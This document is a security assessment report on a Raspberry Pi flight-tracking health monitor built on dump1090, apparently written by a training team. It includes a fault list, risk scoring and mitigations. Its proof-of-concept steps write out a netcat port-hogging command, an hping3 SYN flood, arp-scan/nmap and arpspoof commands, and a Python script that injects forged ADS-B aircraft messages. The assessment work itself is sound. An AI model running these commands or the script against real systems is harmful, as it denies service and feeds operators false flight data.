Flight Agent – Health Monitor System Security Assessment Report

Security Team 2 TripleS

June 25, 2025

1. Executive Summary

This report details a security evaluation of the Flight Agent – Health Monitor System (FA-HMS), focusing on identifying vulnerabilities within its current implementation. This security evaluation of the FA-HMS was conducted under limited environmental constraints.

Using manual code reviews, Snyk for static analysis, and dynamic penetration testing, we assessed Confidentiality, Integrity, Availability, Access Control, and Attack Surface.

Key findings include critical vulnerabilities such as lack of authentication, plaintext communication, broad attack surface, various Denial of Service (DoS) risks (e.g., single client limitation, unauthenticated access, ARP spoofing), and data spoofing. Specific vulnerabilities identified span from unencrypted data transmission to server resource exhaustion, session disruption and acceptance of forged flight data. We analyzed mitigation strategies for these vulnerabilities and documented them at the end of this report.

2. Evaluation Constraints

The security evaluation was conducted under the following specific constraints.

- **Physical Access Restriction:** Testing was conducted within a Linux OS environment.
- **Network Environment Assumption:** The experiment assumed that the Raspberry Pi (server), RUI (client) and attacker were using the same network. When using VMWare tools, a wireless network environment with bridge connections is required to use the IP address of the actual local PC.
- **Code Modification Prohibited:** The target system's source code was not modified, only evaluation was performed.

3. Evaluation Narrative

1) Evaluation Elements

- Confidentiality
- Integrity
- Availability
- Authentication & Authorization

2) Evaluation Techniques and Tools

- **Code Review:** We conducted manual code reviews to thoroughly understand the program logic and implementation developed by the SDET team. This allowed us to pinpoint potential vulnerabilities directly stemming from the application's design and coding practices, which automated tools might miss.
- **Static Analysis:** We leveraged Snyk's Software Composition Analysis (SCA) and Static Application Security Testing (SAST) capabilities. This helped us efficiently identify both known vulnerabilities in open-source dependencies and logic-based flaws like spoofing and tampering, aligning with our threat modeling process.
- **Attack Surface Analysis:** We systematically mapped and analyzed all potential points of entry into the system, including network ports, exposed services and user interfaces. This technique helped us comprehensively identify and understand the scope of potential attack vectors, allowing us to prioritize subsequent in-depth vulnerability assessments on the most critical exposure points.
- **Dynamic Analysis (Penetration Testing):** We performed manual penetration testing to actively discover vulnerabilities by simulating real-world attack scenarios. This direct approach demonstrated the practical exploitability of identified weaknesses, providing concrete proof-of-concept examples.

3) Identified Issues and Vulnerability Prioritization

During our comprehensive security assessment, we meticulously identified and documented various weaknesses and potential vulnerabilities within the FA-HMS's current implementation. These findings, which represent crucial areas requiring attention to bolster the system's overall security posture, have been systematically compiled and are presented in the detailed 'Fault List' table below. This table serves as a fundamental component of our report, offering a clear and organized overview of each identified issue, its specific location within the system, the relevant attack surface it exposes, a precise description of the flaw, and its potential impact should it be exploited.

ID	Fault	Attack surface	Impact
F-01	Non-Authentication on Port 30001	dump1090	Legitimate user connections may be denied, leading to a Denial of Service (DoS) or attacker can transmit spoofed aircraft data (Spoofing).
F-02	Tampering with stored files	RAW/SBS log storage	Tampered data is provided to the user
F-03	Unencrypted communication	Transmission between GUI and dump	Anyone can inspect the communication data
F-04	Weak Google Cloud API Key Management	python Script included in RUI operating files	It may lead to financial loss
F-05	Hardcoded Port Number	HMS server	Limits operational flexibility
F-06	Use of CRC32	HMS server	Uses cryptographically weak integrity check method
F-07	Missing Exception Handling	HMS server	Decreased system stability and increased maintenance complexity
F-08	One-way Communication without ACK	Transmission between HMS and user	Uncertain communication state
F-09	No IP Filtering	Dump1090	Unauthorized user access is possible...
F-10	Single Client Limit on Port 5001	HMS server	Legitimate user connections may be denied, leading to a Denial of Service (DoS).
F-11	Multiple Client Limit on Port 30002	dump1090	Legitimate user connections may be denied, leading to a Denial of Service (DoS).
F-12	Forced Connection Drop via ARP Spoofing	Transmission between HMS and user	Man-in-the-middle blocks packets from server. It leads disconnection with user

ID	Impact	A (pt)	Likelihood	B (pt)	Risk Score (A x B)
F-01	🟠 Legitimate user connections may be denied; spoofed aircraft data	3 pt	🟠 Common system design without auth; frequently scanned	4 pt	**12**
F-02	🟡 Tampered data is provided to the user	2 pt	⚪ Requires local access; unlikely in practice	1 pt	**2**
F-03	🔴 Anyone can inspect the communication data	5 pt	🔴 Plaintext TCP easily sniffed on shared networks	5 pt	**25**
F-04	🔴 It may lead to financial loss	5 pt	🟡 Exploitable only if attacker gains local access	2 pt	**10**
F-05	⚪ Limits flexibility, but does not expose system to attack	1 pt	⚪ No attack vector despite visibility	1 pt	**1**
F-06	⚪ Uses cryptographically weak integrity check method	2 pt	⚪ No injection path; purely theoretical	1 pt	**2**
F-07	⚪ Decreased system stability and increased maintenance complexity	2 pt	⚪ Rarely leads to direct crash from user input	1 pt	**2**
F-08	⚪ Uncertain communication state	1 pt	⚪ No direct exploit path	1 pt	**1**
F-09	🟡 Unauthorized user access is possible if system is exposed	3 pt	🟡 External exposure needed; otherwise safe	2 pt	**6**
F-10	🟠 Legitimate user connections may be denied, leading to a DoS	4 pt	🔴 Simple nc or script blocks port	5 pt	**20**
F-11	🟠 Legitimate user connections may be denied, leading to a DoS	4 pt	🔴 Fake connections flood socket pool	5 pt	**20**
F-12	🟠 MITM blocks packets; forces disconnect	4 pt	🟠 Needs attacker on same network	3 pt	**12**

Impact	Point	Description
Critical	5	Severe disruption to system operation (e.g., DoS, trust loss)
High	4	Major degradation of service or core functions
Medium	3	Moderate impact on partial functions or subsystems
Low	2~1	Minimal effect on system; related to usability or maintainability

Likelihood	Point	Description
Very Likely	5	Easily exploited using common tools or methods
Likely	4	Feasible with normal access and moderate skills
Possible	2~3	Attack feasible only under specific conditions or partial access
Unlikely	1	Very low probability due to restricted surface or complexity

We analyzed our fault list, then prioritized vulnerabilities by filtering out less critical items and aligning the remaining ones with the FA-HMS's core mission: 24/7 real-time operation. Our prioritization integrates both security and business perspectives, focusing on **Information Protection → Availability Assurance → Reliability Maintenance**. This structured approach ensures our mitigation efforts target the most impactful threats first.

① Information Disclosure (Top Priority): This is the fundamental stepping stone for nearly all sophisticated attacks. Unencrypted communications within the system inadvertently expose critical operational details, including proprietary protocol structures, message formats, and sensitive internal states to external parties. This open exposure doesn't just put confidential information at risk; it actively functions as a crucial reconnaissance channel, providing attackers with the necessary intelligence to craft subsequent Denial of Service (DoS) attacks or data spoofing attempts. From both a technical vulnerability standpoint and a broader business risk perspective, information disclosure represents the most critical and foundational threat, demanding our immediate and highest priority for mitigation.

② Denial of Service (Second Priority): While not directly compromising data integrity, a Denial of Service attack can severely disrupt the continuous, real-time operations that are central to FA-HMS. Attackers can achieve this by persistently occupying server ports, blocking legitimate connections, or rapidly exhausting critical socket resources. Such disruptions can render the system inaccessible or unresponsive, posing a significant operational hindrance for personnel who rely on real-time data for critical decision-making. However, the impact of a DoS attack is typically temporary and localized, often resulting in service downtime rather than permanent data loss or structural damage, placing it as our second priority compared to the persistent threat of information compromise.

③ Data Spoofing (Third Priority): This threat leverages the system's architecture, which currently permits unauthenticated access to data reception ports, allowing malicious actors to inject forged messages directly into the user interface. This can lead to the display of misleading or entirely false flight data, potentially causing operators to make incorrect judgments based on inaccurate information. Although data spoofing can undermine the system's reliability and user trust, its effective execution often heavily relies on attackers first gaining insights from information disclosure. Furthermore, its immediate impact is primarily on operational perception rather than direct data compromise, making it a lower, albeit still significant, priority.

Priority	Type	Key Risk	Criteria for Relative Priority
1	Information Disclosure	Foundation for all attacks + Exposure of operational information	Both technical and business impacts are highest
2	Denial of Service	Monitoring interruption → Delayed fault response	Direct but temporary, strategic damage is limited
3	Spoofing	Exposure of forged information → Leading to misjudgment	Difficult to attack independently without prior information, indirect damage

4. Vulnerability Reporting

1) VU-01

- **Summary**: Information Disclosure (dump1090/HMS↔RUI)
- **Location**: Communication between dump1090 and RUI
- **Consequences/Impact**: Unencrypted communication packets are leaked.
- **Type**: Information Disclosure
- **Proof of Concept**:
  ① Launch Wireshark and select the relevant network interface.
  ② Start capturing packets.
  ③ Filter packets by IP or port (tcp.port == 5001).
  ④ Analyze captured plaintext flight data.

2) VU-02

- **Summary**: Single Client Limitation (FA-HMS↔RUI)
- **Location**: Source code of health monitoring server: raspberry_monitor_server.py (lines 97-152)
  ① Allow all requests, even from unreliable IP addresses: server_socket.bind(('0.0.0.0', 5001))
  ② Set the size of backlog to only one user: server_socket.listen(1)
  ③ After accept(), a while loop runs to handle the connected client until it disconnects: client_socket, addr = server_socket.accept() while True: ...
- **Consequences/Impact**: An attacker can occupy the port with persistent fake or idle connections, preventing legitimate users from accessing and using the Health Monitoring System (HMS).
- **Type**: Denial of Service
- **Proof of Concept**: Before a legitimate user connects, execute the command or click the connection button in the HMS GUI to preemptively occupy the port from an attacker's PC.
  [Command]: nc <HMS_IP> <PORT>

3) VU-03

- **Summary**: Unauthenticated Access and Lack of Connection Validation (dump1090↔RUI)
- **Location**: Source code of dump1090: dump1090.c (line 86, 1972-1975)
  #define MODES_NET_MAX_FD 1024
  if (fd >= MODES_NET_MAX_FD) { close(fd); return; /* Max number of clients reached. */ }
- **Consequences/Impact**: Fake connections allow an attacker to occupy all available client slots, blocking legitimate access to the service.
- **Type**: Denial of Service
- **Proof of Concept**: Create and maintain numerous fake connections by running the command:
  [Command]: hping3 -S -p 30002 <raspberrypi-ip> --flood

4) VU-04

- **Summary**: Forced Socket Termination via Traffic Interception (dump1090/HMS↔RUI)
- **Location**: ARP table of PC which is running dump1090
- **Consequences/Impact**: ARP spoofing disrupts normal sessions, causing infinite reconnect attempts.
- **Type**: Denial of Service
- **Proof of Concept**:
  Linux
  ① Connect to network which is victim in.
  ② Scan IP in same network and Detect client IP connected with dump1090.
  [Command]: sudo arp-scan --interface=<ethernet_device> --localnet | grep -v Unknown | awk '{print $1}' | xargs nmap -p 30002
  ③ If client 30002 port opened is found, Run spoofing command below:
  [Command]: arpspoof -i <ethernet_interface> -t <target_ip> <gateway_ip>
  Ex): arpspoof -i en0 -t 172.26.13.116 172.26.116.69
  ④ (Optional) Check stolen data: tcpdump -s 0 -X -vv -i <ethernet_interface> tcp and host <target_ip>

5) VU-05

- **Summary**: Accepting data from Untrusted Sources (dump1090)
- **Location**: No validation of the data sender. Source code of dump1090: dump1090.c (line 2386-2387)
  if (c->service == Modes.ris) modesReadFromClient(c,"₩n",decodeHexMessage);
- **Consequences/Impact**: RUI displays fake flight data, which is then shown to the user.
- **Type**: Spoofing
- **Proof of Concept**: Running Python script to send fake data to dump1090.
  [attack.py]:

```
import socket
import time

HOST = '172.20.3.191'      # Victim IP
PORT = 30001               # RAW Input Port

# Fake ADS-B Msg
fake_adsb_messages = [
    '*8DA6EBEE59CD8318B4107A93F56A;',
    "*8DA033F158C382D31DF048E5CC8E;",
    # ... other fake messages
]

with socket.create_connection((HOST, PORT)) as s:
  while True:
    for msg in fake_adsb_messages:
        s.sendall((msg + '₩n').encode('ascii'))
        print(f"Sent: {msg}")
        time.sleep(0.5)
```

5. Conclusions and Recommendations

Our security evaluation of the FA-HMS revealed critical vulnerabilities risking its confidentiality, integrity, and availability. Addressing these weaknesses is vital for the system's robust, secure operation, especially given its real-time monitoring role. Below are our essential recommendations, detailing their rationale and expected impact, designed to significantly strengthen the FA-HMS's security posture.

- **VU-01 (Information Disclosure): Implement TLS/SSL Encryption**

The core vulnerability of **information disclosure** stems from unencrypted communication between dump1090 and RUI, leading to sensitive packet leakage.

The most common and highly recommended mitigation for communication packet encryption, from a security perspective, is to use strong, industry-standard encryption protocols such as **TLS/SSL encryption (version 1.2 or higher)**. This ensures the confidentiality of all communication, protecting sensitive operational data from eavesdropping and establishing a secure channel.

- **VU-02 (Single Client Limitation): Implement IP Whitelisting**

The raspberry_monitor_server.py design, accepting all IPs and allowing only one client, creates a significant **Denial of Service (DoS)** vulnerability. Attackers can easily monopolize the server's slot, preventing legitimate users.

To mitigate this, we recommend implementing an **IP Whitelist** on the server to restrict connections to trusted IPs only. While increasing backlog size or a full authentication system were considered, they were not chosen. Increasing backlog doesn't fundamentally prevent an attacker from filling all connections, and full authentication requires significant additional development and secure key exchange mechanisms beyond the current scope.

- **VU-03 (Unauthenticated Access & Lack of Connection Validation): Robust Socket Management**

The dump1090 component's acceptance of unauthenticated connections and insufficient validation makes it vulnerable to **Denial of Service (DoS)**, as attackers can flood the server, exhausting client slots.

To address this, **robust socket management is crucial**. This includes setting **connection timeouts** for idle connections and **actively terminating half-open connections** (e.g., via TCP RST or OS firewall). IP whitelisting was not feasible for this service due to many unspecified users, and deploying costly IDS tools was deemed disproportionate given that proper socket management adequately addresses the risk.

- **VU-04 (Forced Socket Termination): Strengthen Network Layer Security**

The FA-HMS is vulnerable to **Denial of Service (DoS)** via **traffic interception** using ARP spoofing, disrupting sessions and causing infinite reconnection attempts. This network-layer attack highlights the need for robust perimeter defense.

To counter such network-based DoS, **strengthening network security is crucial**. This involves implementing **static ARP tables** on critical devices to prevent cache poisoning, deploying **Network Intrusion Detection Systems (NIDS)** to detect abnormal ARP packets, and configuring **switch port security** to prevent unauthorized MAC addresses from spoofing legitimate ones.

- **VU-05 (Accepting data from Untrusted Sources): Implement Sender Authentication**

The dump1090 component's acceptance of untrusted data without validation presents a significant **data spoofing** vulnerability. Malicious actors can inject forged messages, which the RUI then displays as legitimate flight data, impacting reliability and leading to critical misjudgments.

To mitigate this, **implement sender authentication** to ensure only authorized sources transmit data. While message integrity checks (e.g., CRC) and input rate limiting were considered, they were not selected as sole solutions. Integrity checks are insufficient if fake data has a valid format, and rate limiting won't prevent attacks if forged inputs mimic normal traffic rates.

Implementing these security enhancements is not just a reactive measure; it's a **proactive investment in the FA-HMS's enduring reliability and trustworthiness**. By systematically addressing these vulnerabilities, we can significantly reduce the system's attack surface, protect sensitive data, ensure continuous operational availability, and ultimately safeguard its mission-critical functions against evolving cyber threats.

Security team 2 Triples github:

https://github.com/LGSDET/SEC2_TripleS_RUI

https://github.com/LGSDET/SEC2_TripleS_dump1090